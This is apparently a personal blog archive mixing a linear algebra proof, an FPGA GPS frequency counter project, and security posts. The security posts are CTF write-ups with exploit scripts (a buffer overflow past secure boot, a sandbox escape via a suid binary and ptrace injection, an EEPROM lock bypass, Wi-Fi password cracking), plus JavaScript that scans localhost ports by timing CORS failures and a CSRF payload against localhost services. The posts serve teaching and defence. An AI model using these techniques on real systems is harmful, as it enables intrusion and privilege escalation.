atx

Fun with linear algebra

Sat, 09 Jan 2021 00:00:00 +0100

Epistemic status: Mostly the result of a late night procrastination session. Proceed with caution. Might be too verbose or not verbose enough.

I have been thinking about linear algebra quite a lot lately. There is a common proof strategy, which usually goes something like:

You have a subspace of a vector space
Get a basis for that subspace
Use the exchange lemma to extend that basis to a basis of some larger subspace
Try to figure out if your new basis, or maybe the basis of the complementary subspace, has some desirable properties

However, after reading a particularly cool proof (3.106) in Linear Algebra Done Right, I noticed a fascinating concept: many linear algebra theorems, which are commonly proven using the startegy described above, can often be proven by picking a bunch of appropriate linear maps between the relevant vector spaces and then using a bunch of “elementary” theorems, usually proven using the above method.

This usually takes a bit of effort to figure out, but the results are quite satisfying. Let me illustrate:

Proposition (Dimension of a sum): Let $V$ and $U$ be finitely generated subspaces of a common vector space. Then we have

$\dim(V \times U) = \dim (V + U) + \dim (V \cap U).$

Proof. Consider a pair of linear maps: $\begin{aligned} f : V \times U &\to V + U \\ (v, u) &\mapsto v + u, \\ g : V \cap U &\to V \times U \\ v &\mapsto (v, -v). \end{aligned}$

It is clear that $f$ is surjective, and it is also clear that $g$ is injective. We just need to prove that $\operatorname{Ran}{g} = \operatorname{Ker} f$ .

Take $g(v) \in \operatorname{Ran}{g}$ . Then we compute $f(g(v)) = f(v, -v) = v - v = 0,$ therefore $\operatorname{Ran} g \subseteq \operatorname{Ker}{f}$ .

Now we consider $(v, u) \in \operatorname{Ker}{f}$ . This means that $f(v, u) = v + u = 0, \quad \text{thus}\quad v = -u.$ Additionally, $U$ is a subspace, hence it contains the additive inverse for each of its elements, meaning $v = -u \in V \cap U$ . This means we can use $g$ to get $g(v) = (v, -v) = (v, u),$ and therefore $\operatorname{Ker}{f} \subseteq \operatorname{Ran}{g}$ .

We finish by using the Rank-Nullity theorem twice, first on $f$ and then on $g$ $\begin{aligned} \dim (V \times U) &= \dim \operatorname{Ran}{f} + \dim\operatorname{Ker}{f} \\ &= \dim(V + U) + \dim{\operatorname{Ran}{g}} \\ &= \dim(V + U) + \dim(V \cap U). \end{aligned}$

The idea is ultimately simple: we know that every element in $V + U$ can be expressed as a sum of a vector from $V$ and a vector from $U$ . By investigating the kernel of $f$ , we are essentially asking how many ways this can be done.

I am not really sure if constructing proofs like this one is really “practical”. However, I find this approach somewhat more aesthetic and enlightening than picking a bunch of basis and then getting lost in a sea of coordinates.

Anyway, this blog post is pretty different from what I used to write in the past. I have finished my Electrical Engineering bachelor’s degree and started working towards getting a bachelor’s degree in Mathematics, so I ultimately hope to post more in this vein in the future. I do hope to write some technical posts as well, I have not given up engineering completely and still continue to work as a freelance embedded systems engineer.

The Catch 2019 writeup

Mon, 21 Oct 2019 00:00:00 +0200

The Catch is an online CTF competition organized by the local internet infrastructure non-profit CESNET.

Last year we placed first as a team and got to attend the Trend Micro CTF finals in Japan. This year the CTF was an individual competition and I managed to get the second place.

The Infiltration
Payment Terminal
Vacuum Cleaner
Colonel Roche

The Infiltration

Here we are provided with a remote HTTP server which returns Python code generating a password and expects the password back in 5 seconds (this is handled by using a session cookie we have to keep around).

Unfortunately the Python code is malformed and changes per each request.

# ... 
ipmort sys  # <- 'import' gets mangled
import argparse
# ...
dfe finalize(code):  # <- 'def' gets mangled
# ...
    if i % 2 == 0  # <- ':' is sometimes missing
        res += v
# ...
    if int(str(init)[0]) % 2 == 0:
    value += "ng"  # <- Indentation is sometimes broken
# ...
        value + = "D5"  # <- '+=' gets mangled

In the end, this was mostly drudge work, figuring out what heuristics are “good enough” to fix the code without breaking it is some other way. I suspect one could harness something like pylama to do a bit more precise fixups, but that was not necessary here.

# ...

def fix_fn(i, fnsig):
    # Fix declaration
    lines[i] = "def " + fnsig
    for i in range(i+1, i+4):
        lines[i] = "\t#"  # Removes docstrings
    # The convert function has an extra newline after its docstring,
    # we change it to a nonempty line to properly detect end of function later. 
    if fnsig == "convert(init):":
        i += 1
        lines[i] = "\t#"

    # Here we iterate until we arrive at the end of a function
    k = i + 1
    while lines[k] != "":
        strip = lines[k].strip()
        # Add missing ":"
        if strip[-1] != ":" and any(strip.startswith(t)
                                    for t in ["for", "else", "if"]):
            lines[k] = lines[k] + ":"

        # Indent can be broken only right at the start of a block
        if lines[k][-1] == ":":
            # Force next line indent
            level = lines[k].count("\t")
            lines[k+1] = "\t"*(level+1) + lines[k+1].strip()
        k += 1
        continue
    # Patch return
    lines[k-1] = "\treturn" + lines[k-1][7:]

# Walk over all lines in the file
for i, line in enumerate(lines):
    lines[i] = line.replace(" + = ", " += ")
    for fnsig in fnsigs:
        if not line.endswith(fnsig):
            continue
        fix_fn(i, fnsig)

# ...

This does not work in all cases, but running the script several times will eventually get a fixable input code that produces the correct result.

Payment Terminal

We get a PCAP containing an exchange that captures configuration upload to a Cisco router.

First we look at the TFTP exchange. Following the appropriate UDP stream in Wireshark yields this file:

........
!
! Last configuration change at 14:06:27 UTC Mon Jun 10 2019
!
version 15.5
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname Router-R12
!
boot-start-marker
boot-end-marker
!
# ...
# Interesting lines follow (comments added by me)
tacacs-server host 172.16.66.14
tacacs-server key 7 0804545A1B18360300040203641B256C770272010355
# ...

TACACS is some ancient protocol for configuring network devices. Our dump contains it, so we should look at that next.

Fortunately Wireshark supports decrypting TACACS exchanges. Unfortunately the preshared key is in some “encrypted” Cisco format. This can however be easily reversed using this online tool.

Looking through the decrypted TACACS requests yields the flag as a request parameter.

Vacuum Cleaner

Here we have a PCAP containing a large amount of encrypted 802.11 traffic. Running aircrack-ng shows that it contains an authentication handshake for the suggestively named “ThisIsTheWay” network.

After some messing with wordlists, I got lucky with the one from OpenWall, cracking the password in under a minute.

After configuring Wireshark to use the password to decrypt the Wi-Fi traffic, the flag can be found inside a TXT DNS exchange. For whatever reason, I needed to generate a PSK first instead of entering the password directly.

Colonel Roche

This one definitely took me the longest.

We get the following ciphertext:

463216327617246f67406f1266075ec622606c6671765537066636596
e621e64e622c2b006066961c66e621f067676e77c6e665167a462c4b5
0477433617754222d7043542885747df6dd575970417d435223000

(linewrapping added by me)

We also get reference to someone called “Colonel Roche”. This guy was a French aeronautical engineer who also dabbled in cryptography. Finding any references to his cryptographical work is extremely hard though. An 19th century textbook can be found that references a cipher named after him but as I do not know any French, it was of very little help. The fact that a street named after him exists housing multiple academic institutions does not help the situation at all.

Out of desperation, I attempted to google a result in Czech and bingo, I got a decade old popsci article about “Colonel Roche’s Transposition Cipher”.

As finding anything about this in English is next to impossible, let me reproduce the method here. The cipher is basically a column transposition cipher except that the columns can have variable lenghts.

First we pick a key, such as robot and number each of the characters depending on its alphabetical order. Note that if we have repeating letter, it does not get assigned the same number twice.

|r|o|b|o|t|
|4|2|1|3|5|

Now we construct variable columns with length limited by their appropriate numerical value. Then we start writing the plaintext in the rows. If a row is already at its maximum character count, we skip it.

Here we take colonelroche as our ciphertext.

|4|2|1|3|5|
|c|o|l|o|n|
|e|l| |r|o|
|c|   |h|e|
|-|     |-|
        |-|

Notice that I padded the message with - to fill all columns. This will be important later.

Reading the columns in the top-down order results in the ciphertext cec-ollorhnoe--.

Decryption is just the process in reverse - We fill columns first and then read the rows.

Now we can make an important observation. As the ciphertext is always padded to fill up columns from 1 to the key length $N$ , it’s length $L$ is constrained to be an integer solution of the following:

$L = \frac{N(N+1)}{2}$

Looking at the ciphertext can give us another important clue — the flag has to contain characters like { and if we hex-decoded before applying the decryption, there would be no way of getting those characters. Thus it is clear we have to apply the algorithm to the hexadecimal digits directly.

Now we come to the main issue. We have $L = 168$ digits and as such there is no integer solution for $N$ . The closest we can get is $L(17) = 153$ and $L(18) = 171$ .

At this point I was hopelessly stuck, attempting to rearrange the blocks manually, generating the block sizes using various more or less sane methods. The challenge hints that the key is a day of week, but what if the block sizes are generated from the hexadecimal digits of the key or something.

After a large amount of effort I finally decided to try the obvious — dividing the ciphertext to fixed-size substrings and using the decryption algorithm on them individually, concatenating the result at the end.

For our given $L$ we can divide it with lengths of monday, tuesday, friday and sunday.

Now I just tried all the possible keys and got the result.

for dow in days_of_week:
    key_nums = key_to_num(dow)
    N = sum(key_nums)
    L = len(data)
    if L % N != 0:
        print(dow, "skipped")
        continue

    total = ""
    for i in range(L // N):
        d = data[i*N:(i+1)*N]
        blocks = ciphertext_to_blocks(d, key_nums)
        seri = blocks_to_plaintext(blocks)
        total += seri
    if len(total) % 2 == 0:
        print(dow, binascii.unhexlify(total))
    else:
        print(dow, "Invalid total result length")

monday b'Broadcast on all frequencies and in all known languages:
    FLAG{uB8W-XBtp-OmtE-Q2Ys}\x00\x00'
tuesday b"FvF\xf62\xf0\x13$b'v\x16a\x07Rg0nggl\x01VfS,fYn+\x06
    \x9el\x06fB\x01.l\x16bnfvVrw\xe1\xa1ld\xf7f\x06.\xc4\xb7t\xd0
    EG'05%C$v!\x88_P\xd3WiD$\xd7\x12}s\xd5\x07\x00"
wednesday skipped
thursday skipped
friday b'Broadcast on all frequencies and in all known languages:
    FLAG{uB8W-XBtp-OmtE-Q2Ys}\x00\x00'
saturday skipped
sunday b"Abof\x14c7r$pol a\x06l'&enqseng9e\x06%and in\xc6ab\x0c+
    `n`gn&\xecawoeqg s:\xc4FDqkuuMXW'HB\x02rM?mQE-\x972W\xd3p\x04\x00"

Note that both monday and friday produce the same numerical key.

Google CTF 2019 writeup

Tue, 02 Jul 2019 00:00:00 +0200

After a long time of not-really-CTFing, I decided to a part in the Google CTF and exercise my somewhat rusty skills. This is a writeup of some of the challenges in the competition. I also wanted to play with Ghidra a bit, seeing as it is a new shiny reverse engineering tool.

flagrom
secure-boot
dialtone
devmaster-8001

Flagrom

We are provided with a C source code for an 8051 microcontroller, Verilog source code for an I²C “secure” EEPROM, also a binary with compiled firmware and an executable file that can emulate the entire setup.

The target is to convince the (locked) EEPROM to give up the flag.

Reversing the binary is not really all that useful, as the flag lives only on the remote instance. Quick look at the debug symbols reveals that it uses verilator for simulating the EEPROM and emu8051 for the 8051.

On connecting, the server responds with a challenge, requiring us to brute force an MD5 hash.

< What's a printable string less than 64 bytes that starts with flagrom- whose md5 starts with eeae5c?
> flagrom-aaaaaaaaaaadbhaN
< What's the length of your payload?
> N
> <N-bytes-of-data>
< Executing firmware
< [FW] Writing flag to SecureEEPROM...............DONE
< [FW] Securing SecureEEPROM flag banks...........DONE
< [FW] Removing flag from 8051 memory.............DONE
< [FW] Writing welcome message to SecureEEPROM....DONE
< Executing usercode...
< <output-from-user-code>

After providing the correct plaintext to the server, it proceeds execute the original firmware. Then it loads user-supplied binary and runs it with the now-locked EEPROM attached.

To make life easier, it is a good idea to patch the provided binary to avoid having to wait for the hash while developing. I just replaced the /dev/urandom string with /dev/zero using radare2 (Ghidra has executable patching broken at the moment).

Now we are ready to send custom firmware binaries to the remote server.

def brute_hash(nonce):
    prefix = "flagrom-"
    for s_ in itertools.product(string.ascii_letters, repeat=16):
        s = "".join(s_)
        full_str = prefix + s
        md5 = hashlib.md5(full_str.encode()).hexdigest()
        if md5.encode().startswith(nonce):
            return full_str
    raise ValueError("WTF")

host = "flagrom.ctfcompetition.com"
port = 1337
tn = telnetlib.Telnet(host, port)
prompt = tn.read_until(b"\n")
nonce = prompt.split()[-1][:-1]
print("Brute forcing hash {}".format(nonce))
response = brute_hash(nonce)
print("Found", response)
tn.write(response.encode() + b"\n")

prompt = tn.read_until(b"\n")
assert prompt.startswith(b"What's the length")

with open("firmware.bin", "rb") as f:
    payload = f.read()

print("Sending payload of length", len(payload))

tn.write("{}\n".format(len(payload)).encode())
# Pro tip: telnetlib mangles special characters, do not waste over an hour
# debugging that...
tn.sock.send(payload)

print("--- Response")
print(tn.read_all().decode())

To produce a working binary for the 8051 we can use sdcc.

void print(const char *str) {
  while (*str) {
    // The peripheral registers are defined in the original source file
    CHAROUT = *str++;
  }
}

void main(void) {
  print("Hi!\n");
  POWEROFF = 1;
}

$ sdcc firmware.c
$ objcopy -Iihex -Obinary firmware.ihx firmware.bin

The EEPROM can store 256 bytes and has 4x64 byte pages that can be locked separately. Only the second page is locked by the main firmware after storing the flag there.

After looking through the source code, I figured out that the EEPROM uses something called repeated start condition. Usually, when communicating with an I²C device, we send separate “read” and “write” transactions. In our case, we have to “chain” writes and reads behind each other, without having an stop conditions in between.

Greater problem however is that the internal address pointer gets reset on a stop condition.

if (i2c_stop) begin
  i2c_address_valid <= 0;
  i2c_state <= I2C_IDLE;
end else if (i2c_start) begin
  i2c_state <= I2C_START;
end

The microcontroller has an I²C peripheral to communicate. However, the maximum transaction length is only 8 bytes, which is not enough to attempt much against the EEPROM (as the address pointer gets reset). There is a GPIO peripheral connected to the same pins, which means we can bitbang the protocol to perform longer exchanges.

The plan is ultimately as follows:

We initiate a read transaction at the end of the first page. As this page is not protected, this sucessfully initializes the internal address register.
Now we issue a lock command, locking the first page.
As the read state machine only ever checks if the next address lock status is equal to the current address lock status, we can now continue reading onwards into the locked page.

I2C_READ: begin
  `DEBUG_DISPLAY(("i2c_data_bits = %d", i2c_data_bits));
  if (i2c_data_bits == 8 && i2c_scl_state == I2C_SCL_RISING) begin
    i2c_data_bits <= 0;
    if (i2c_address_secure == i2c_next_address_secure) begin // <-- HERE
      `DEBUG_DISPLAY(("READ: i2c_address = 0x%x", i2c_address));
      i2c_address <= i2c_address + 1;
      i2c_state <= I2C_ACK_THEN_READ;
    end else begin
      i2c_state <= I2C_NACK;
    end
  end else if (i2c_scl_state == I2C_SCL_FALLING) begin
    `DEBUG_DISPLAY(("READ (bit): i2c_address = 0x%x", i2c_address));
    o_i2c_sda <= mem_storage[i2c_address][7 - i2c_data_bits[2:0]];
    i2c_data_bits <= i2c_data_bits + 1;
  end
end

Without the bitbanging fluff, the final annotated code looks like this.

void main(void) {
  start(); // -> START -> LOAD_CONTROL
  send_byte(SEEPROM_I2C_ADDR_MEMORY); // -> LOAD_ADDRESS
  send_byte(62); // Address at the end of the first page

  // Usually we would continue to the WRITE state, but we can interrupt that
  // by issuing another start condition.
  start(); // -> START -> LOAD_CONTROL
  // Page locking is implemented by writing to a special address
  send_byte(SEEPROM_I2C_ADDR_SECURE | 0b1111);  // -> IDLE
  
  start(); // -> START -> LOAD_CONTROL
  // The internal address pointer is still valid at this point
  send_byte(SEEPROM_I2C_ADDR_MEMORY | 1); // -> READ
  for (int i = 0; i < 80; i++) {
    print_hex(read_byte()); // -> READ (address gets incremented)
  }
  end();
}

Secure boot

In this challenge we get a EDK2 EFI firmware binary, running on a remote server inside qemu.

# We can run qemu with a custom OVMF binary using this
qemu-system-x86_64 -monitor /dev/null \
        -m 128M \
        -drive if=pflash,format=raw,file=OVMF.fd \
        -drive file=fat:rw:contents,format=raw \
        -net none -nographic

By default it immediately fails because secure boot is enabled and the kernel is not signed.

The goal is to exploit the binary in order to gain access to the BIOS configuration and disable secure boot. By wildly mashing all the keys on my keyboard, I managed to interrupt the boot process to get into a password prompt.

After some grepping through the mainline EDK2 source code of UiApp, I realized that this prompt has to be a custom modification.

At this point, I needed to start actually reversing the OVMF.fd binary. Opening it in UEFITool yields a ton of various modules. We are interested in exporting the one matching the printed UUID.

EFI binaries are pretty standard x86_64 PE executables and as such can be loaded into Ghidra without any issues. However, the lack of debug symbols makes reverse engineering challenging.

Because I suck at static analysis, I enabled debugging in qemu using the -gdb tcp:127.0.0.1:1234 switch and connected over GDB to the running machine. I also found out about the dump-guest-memory GDB script, which allows dumping of guest memory from a running qemu instance.

After more time than I would like to admit, I managed to figure out which function is responsible for the password prompt. Note that all the strings are wide, so running strings on the binary won’t be much of help.

Some relabeling later, the function looked as follows in the Ghidra decompiler.

The sha256 function is easily identifiable by the magical constants.

Closer inspection reveals an interesting fact — the string buffer is only 128 bytes long, while the loop allows us to load up to 0x8c (140) bytes of data!

Given the stack layout, this means we have control over the fail_counter variable and, more importantly, over the pointer to which the result of the sha256 call gets written. The string_length variable is kept inside a register and as such is not a good target here.

At this point we can control the address where the hash of our input gets written to. Brute forcing SHA256 is hard, so we have to minimize the number of bytes that matter to our exploit.

In the end I chose to overwrite the two lowest bytes (yay little endian!) of the return address stored on the stack with the address next to the branch instruction that checks return value of this function.

This is how the last few words of the string buffer look like. Notice the highlighted pointer which is where the SHA256 gets stored.

The highlighted value below is the modified return address. Notice that the data before is essentially random — that is our hash value.

Note that there is no ASLR and as such we do not need any address leaks to get the function address.

And putting everything together:

#! /bin/bash

sleep 0.1
for x in $(seq 0 40); do
	echo -ne '\x1b'
	sleep 0.1
done

sleep 1

# This prefix was brute forced so that the hash of the entire thing
# ends with 0x49 0x4d
echo -ne aaaaaaaaaaaaaWKu
head -c120 /dev/zero | tr '\0' 'x'
echo -ne '\x9a\x18\xec\x07'
echo -ne '\r'
sleep 1
socat TCP-LISTEN:1337,reuseport -  # Spawn an interactive console

Afterwards, we get dropped into a pretty standard EFI configuration interface and can just disable the secure boot. The flag is then stored on the filesystem of the Linux that gets loaded.

Dialtone

This time we are given a binary to extract the flag from. Opening it in Ghidra shows that it connects over pulseaudio to a microphone and then does some signal processing, outputing either SUCCESS or FAILED depending on how much it likes what it hears.

Judging by the challenge name, it expects a sequence of DTMF symbols on its input.

As I did not want to bother with convincing pulseaudio to fake a microphone input, I wrote a quick LD_PRELOAD shim to bypass it entirely and read the input signal from a file.

static FILE *file = NULL;

int pa_simple_read(void *s, float *data, size_t bytes, int *error)
{
	if (file == NULL) {
		file = fopen("./dtmf.raw", "rb");
	}
	return fread(data, 1, bytes, file);
}

At this point, we could just brute force the sequence character-by-character, checking how many samples are read from the input before failure. However, as I did not want to bother with generating DTMF signals, I opened the binary in Ghidra again and set out to figure out how it works.

The main function is pretty straightforward loop calling pa_simple_read and then two additional processing functions, one of which returns a fail/pass value.

It’s not really important how the signal processing is done (some SIMD magic anyway). More significant is the second half of the function. Here we evidently have a state machine that verifies the sequence.

The decoded_dtmf = local_20 << 2 | decoded_dtmf line is pretty interesting here. Looking at how DTMF is decoded, we notice that it uses a table of frequencies, two of which select a value.

After a bit of messing around in Audacity, I figured that the upper two bits of the sequence from the state machine select row and lower two bits select column. The flag (by the challenge description) was just CTF{SEQUENCE_OF_DIGITS}.

DevMaster 8001

Here we have a sandboxed environment which executes arbitrary user commands. Users can submit requests which get executed wrapped in a bunch of namespace protection. Then the resulting files get downloaded back. stdout is also forwarded to the client.

The provided client can be used as follows:

./built_bins/client nc 127.0.0.1 1234 -- input-file1 input-file2 -- output-file -- command

The layers of protection look like

server.cc
- This accepts client connections. We have a single instance running as root.
- Executes and provides shell access the admin binary.
- On the Build command, it creates a random directory inside `/home/user/builds`, copies the provided files inside, forks, and runs the command wrapped in the next stage.
- executor.cc
  - Using 8 semget semaphores, it selects a free sandbox-runner-%d user.
  - Then it chmods the temporary directory to the selected user and runs the command wrapped in next stage. After that is finished, the semaphore is released.
  - linux-sandbox.cc
    - This stage setups filesystem sandbox (making everything but /tmp and the generated build directory read only). It also isolates the network.
    - Then it forks and the parent becomes a subreaper. This is important as it prevents us from just double forking ourselves to persistence.
    - The child finally drops its privileges to the selected sandbox-runner-%d and runs the user-provided command.

If we attempt to access the admin shell, we get a password prompt.

The source code looks as follows.

int main(int argc, char** argv) {
  std::cout << "Enter your password please." << std::endl;
  std::string password;
  getline(std::cin, password);

  std::string expected_hash = /* <long_string_here> */
  std::string actual_hash = picosha2::hash256_hex_string(password);
  if (expected_hash == actual_hash) {
    std::ifstream flagfile("./flag");
    if (!flagfile.is_open()) {
      std::cerr << "Failed to open ./flag" << std::endl;
      return -1;
    }
    std::string flag;
    flagfile >> flag;
    std::cout << flag << std::endl;
  } else {
    std::cout << "Wrong password." << std::endl;
  }
}

Given this hash is SHA256, there is no way we can realistically crack it and thus we need to look for some another way in.

The server runs a periodic script, which rebuilds the admin binary from source code over and over. This is obviously our target.

while true; do
  ./admin_builder_client ./server
  sleep 30
done

// Toss in some extra sleeps so that when management complains about
// performance, we can get rid of them and show a 100x improvement.
std::vector<string> args = {"/bin/bash", "-c",
  "sleep 1; g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin; sleep 1"};

First, I spent some time on attempting to exploit the semget locks themselves. Unfortunately the namespacing entirely prevents access to the shared locks from our process.

Then I noticed an interesting thing — there was not any nosuid protection on /tmp. This means I could do the following:

Start my job as sandbox-runner-0
Create a suid binary
Start another job while the first one is still running, meaning it gets assigned to a different user
Use the suid binary to access get myself UID/GID of sandbox-runner-0
Stop the first job, releasing the sandbox-runner-0 semaphore
Wait until the admin build job starts as sandbox-runner-0

int main(int argc, char** argv) {
  // Note that I can't just suid a script directly - the kernel does not
  // allow suid bits on shebang binaries
  int ret = setreuid(UID, UID);
  ret = setregid(UID, UID);
  execl("/usr/bin/python3", "/usr/bin/python3", "./py.py", NULL);
  return 0;
}

# The container has conveniently preinstalled GCC, so I can build everything
# there.
g++ -std=c++17 -DUID=$(id -u) suid.cc -o suid
gcc -shared -fPIC -o /tmp/load.so load.c
# admin.cc is a patched admin shell source code that does not ask for password
cp suid inject admin.cpp /tmp
cd /tmp
chmod +x inject
chmod gu+s ./suid
sleep 10  # Sleep so we have time to start the second process as sandbox-runner-1

At this point, there is another problem — I can’t just swap the source code of the admin build job. The mount sandboxing prevents us from writing to its build directory even if we have the same UID.

After a lot of time attempting to get around the problem in many different ways, I stumbled at injector, which is a tool for hijacking execution of another process using ptrace.

Using it is pretty simple — we just build a .so library with a constructor attribute on a function and run a command like:

./inject -p PID lib.so

Then we can simply inject the following into the sleep command which runs before gcc, replacing the admin shell source code with our patched version.

__attribute__((constructor))
void run()
{
	system("cp /tmp/admin.cc ./");
}

To perform the injection, we also need to submit a job that watches for running processes and starts the injector right after the sleep binary gets executed.

# Note that this is written in Python because I can't use Linux properly.
# I was using setuid in my wrapper binary, wondering why is my real uid
# not getting set (hint: read man 2 setuid, not man 3 setuid...).
# As bash & friends drop euid on start up, I figured I had to write my
# payload in something else.
# Not setting real UID breaks ptrace anyway, so I had to figure it out in the
# end.
while True:
    ps = subprocess.check_output(["ps", "axo", "uid,pid,comm"])
    for line in ps.decode().split("\n"):
        toks = line.split()
        if len(toks) != 3:
            continue
        uid, pid, comm = toks
        if comm.startswith("sleep") and int(uid) == os.geteuid():
            subprocess.Popen(["/tmp/inject", "-p", pid, "/tmp/load.so"]).wait()
    time.sleep(1)

GPS frequency counter

Sat, 25 Aug 2018 00:00:00 +0200

As an exercise in FPGA design, I built a frequency counter using a cheap GPS module for a timing reference.

It turns out that the extremely popular ublox NEO-6 series of GPS modules, which can be purchased on eBay for around ~10$, is capable of producing a relatively accurate pulse-per-second output.

The same manufacturer also sells special timing versions of their modules with mildly improved parameters, but these were much harder to get in low quantities at the time I was ordering the components (there are some available on ebay currently).

Note: The NEO‑6 have since been discontinued and was replaced by the NEO‑M8 series. These modules also have the PPS output with similar parameters.

Using the GPS system like this enables us to “borrow” an ultra-expensive atomic clock (in orbit).

Measurement method

There are multiple measurement methods for measuring oscillators. As my reference clock is generally several orders of magnitude slower than the measured oscillator, the only reasonable approach is to count the cycles between PPS pulses.

(excuse the crudity of the measurement, the probe isn’t attached properly and the scope is hitting its bandwidth limitations)

Error analysis

Overall, we have two problems — first being our individual PPS pulses might not be precisely one second (this is mostly caused by our receiver, the satellites are “exact enough”). Second is the quantization error caused by the measurement method — we have no way of getting the “fractional” value. In other words, there is no way of distinguishing if the timing pulse arrived at, for example, .1 or at .8 of a cycle.

Let’s do some mildly naive interval error analysis:

$t_0$ - Is the base PPS period (1 second)
$t_p = [t_0 - t_{\Delta}, t_0 + t_{\Delta}]$ - Is our PPS period interval (1 second ±60 ns)
$f$ - is the real frequency of our oscillator
$\hat{f}$ - our estimate of $f$
$\epsilon = \frac{\hat{f} - f}{f}$ - relative error of $\hat{f}$ with respect to $f$

$\hat{f} t_0 = \lfloor f t_p \rfloor = [\lfloor f(t_0 - t_{\Delta}) \rfloor, \lfloor f(t_0 + t_{\Delta}) \rfloor]$

Even for $t_0 = 1\,\text{s}$ and $f = 1\,\text{MHz}$ , this works out to just the ±0.5 rouding error ( $t_{\Delta}$ is really small compared to our measurement interval). Poking at symbols for a bit leads to:

$\begin{aligned} \hat{f} t_0 &= [\lfloor f t_0 \rfloor - 1, \lfloor f t_0 \rfloor] \\ k &= \frac{\lfloor f t_0 \rfloor}{f t_0} \approx 1 \\ \hat{f} - f &= [k f - t_0^{-1}, k f] - f \\ \frac{\hat{f} - f}{f} &= [k - \frac{1}{t_0 f}, k] - 1 = \epsilon \end{aligned}$

$\max \lvert \epsilon \rvert \approx 1 / (t_0 f)$

As changing the measured frequency isn’t usually practical, we are left with manipulating our integration time to get to the desired precision. For instance, given a 10 MHz oscillator, this gets us to ±0.1 ppm at 1 second, 0.01 ppm at 10 seconds…

Unfortunately I don’t have any good frequency reference to figure out if these error calculations actually estimate the measured value properly.

The plot below shows a ~12-hour measurement (100 seconds of sliding average) of the TCXO inside my LimeSDR. Given the parameters of the oscillator, the values seem pretty sensible.

Hardware

FPGA

I went with a small MAX 10 series FPGA. These FPGAs contain integrated flash memory for storing the configuration and also are capable of operating from just a single 3.3V power supply rail. This brings the amount of additional circuitry required to the level of an average microcontroller.

Beware of the “compact features” variants, as they don’t support SRAM initialization nor custom user flash partition. This makes loading firmware to a softcore pretty inconvenient.

Unfortunately the only non-BGA version available (I don’t have very good track record of manual BGA soldering) is the humongous 144-pin QFP. This at least allows me to use just a two layer board though.

Board

There is nothing really special on the board — it’s essentially just the FPGA, the GPS module and the OLED with some supporting circuitry.

As using an active antenna usually helps GPS reception considerably, the board has a bias-T providing 3.3 V to the antenna connector.

Bill of materials

(Only the interesting parts anyway)

Name	Description
10M08SCE144C8G	MAX10 FPGA in QFP
Ublox NEO-6M	GPS module with PPS output
OLED module	SSD1306-based OLED module with SPI interface
24AA32AT	EEPROM for the GPS module
LP5912	3.3V linear regulator
MS621FE	SMD coin cell battery for the GPS module
SN74LV1T34DBVR	Single channel CMOS buffer

Firmware

I wrote the FPGA gateware in Chisel with some occasional Verilog plumbing. In total, the design eats up just around ~40% of the available logic elements of the FPGA. Almost all of the memory blocks are consumed, but I haven’t performed even the most obvious optimization (such as running the code directly from flash or at least keeping the graphic data there).

The design centers around the PicoRV32 RISC-V softcore with a bunch of custom peripherals. The processor does everything from talking with the GPS module over UART to drawing the UI on the OLED screen to handling the higher levels of the USB stack.

USB Stack

Inspired by a talk at 33C3, I decided to implement a primitive USB stack. The onboard USB connector was primarily intended for power delivery, but connecting the data pair just-in-case to the FPGA was a no brainer.

The stack runs at low-speed (1.5Mb/s) and can do only a somewhat limited subset of the usual USB capabilities — only control transfers are supported. Altough this is not good enough to implement most of the “standard” USB devices (like emulated serial port), it is sufficient to read out the counter value and perform “long-term” measurements.

Source

The project is released under the MIT license. All of the source code and PCB drawings can be found on my GitHub.

Port scanning from the browser

Mon, 23 Apr 2018 00:00:00 +0200

While messing around with the stuff from my previous blogpost I noticed some interesting browser behavior.

The W3 Cross Origin Resource Sharing standard dictates, that when a website attempts to fetch an URL and fails the CORS check, the error should be indistinguishable from a network failure.

Browsers of course implement this — unfortunately, a browser can only asses whether a request failed the CORS check after opening the connection and finishing the HTTP request/response roundtrip. Depending on the target service, this means that there can be significat difference in execution time for these requests.

For example, I can easily figure out if you have an OpenWRT router running the LuCI webinterface just by measuring the time to failure of a request headed for http://192.168.1.1/cgi-bin/luci (and comparing this to some negative “baseline” case).

var x = new XMLHttpRequest();
var tStart = 0;
x.onreadystatechange = function() {
	if (x.readyState === XMLHttpRequest.OPENED) {
		tStart = performance.now();
	} else if (x.readyState === XMLHttpRequest.DONE) {
		var tDelta = performance.now() - tStart;
	}
}
x.open("GET", "http://127.0.0.1:2222", true);
x.send();

You can play with the following demo:

Positive ?
Negative ?
Attempts

For my TP-Link TL-WR1043ND this yields about 171 ms for the positive case and 43 ms for the negative case.

Of course this is child’s play — SOHO routers are really slow devices and the timing differences are large.

This method is sensitive enough to figure out whether there is a TCP service running on localhost. This makes sense, as the browser still needs to perform at least one “network” roundtrip for these cases.

The demo below demonstrates this for OpenSSH running on port 2222.

Positive ?
Negative ?
Attempts

With Chromium on Linux I am getting around 6.5 ms for OpenSSH and 1.6 ms for the negative port.

This technique is somewhat restricted in modern browsers as they straight out refuse to connect to ports on the “unsafe” list.

The final demo below scans around 800 “interesting” ports (whatever nmap does by default) on 127.0.0.1. The pixel color is based on sliding window median of the measured time-to-failure values. The code is fairly hacky, so don’t expect any miracles.

Edit: Firefox limits resolution of performance.now() to 2 ms, which seems insufficient for this demo to work. It might still be possible to get it working by acquiring more samples and performing some better processing to remove the quantization noise.

On my box, the result after a few dozen rounds looks like this. The three bright pixels are OpenSSH (2222), Jekyll (4000) and TensorBoard (6006) respectively.

Don't just bind to localhost

Sun, 22 Apr 2018 00:00:00 +0200

This post is about a pet peeve of mine — local applications which expose various (not only) HTTP services by binding to the loopback interface without considering the “standard” attack vectors which web applications should be protected against.

Basic case

Let’s say you have code approximating the following.

@route("/run/<cmd>")
def cmd(cmd):
    return os.system(cmd)

run(host="127.0.0.1")

For an outside-facing application, this surely looks ridiculous. However, we are binding to the loopback interface, so nothing can possibly go wrong right?

This is an all too common of an assumption.

If the user of the application is using a browser on the same machine (very reasonable expectation in most cases), any website they visit can execute a request to 127.0.0.0:8080/run/do_evil! Cross origin policy is going to prevent the requesting website from reading the response contents, but as the damage has been already done when executing the request, that’s not really relevant.

<img src="http://127.0.0.1:8080/run/do_evil"/>

JavaScript execution isn’t even always necessary for these attacks, as long as we are happy with being limited to sending “normal” HTML-induced GETs and <form> POSTs.

WebSockets

In a similar way, unsecured websockets can provide an even easier avenue for exploitation.

By default, any website can connect to any websocket and perform bidirectional communication. This “cross site websocket hijacking” is something to be aware of as it can leak information even if the attacker can’t cause damage on some another HTTP endpoint.

Password protection

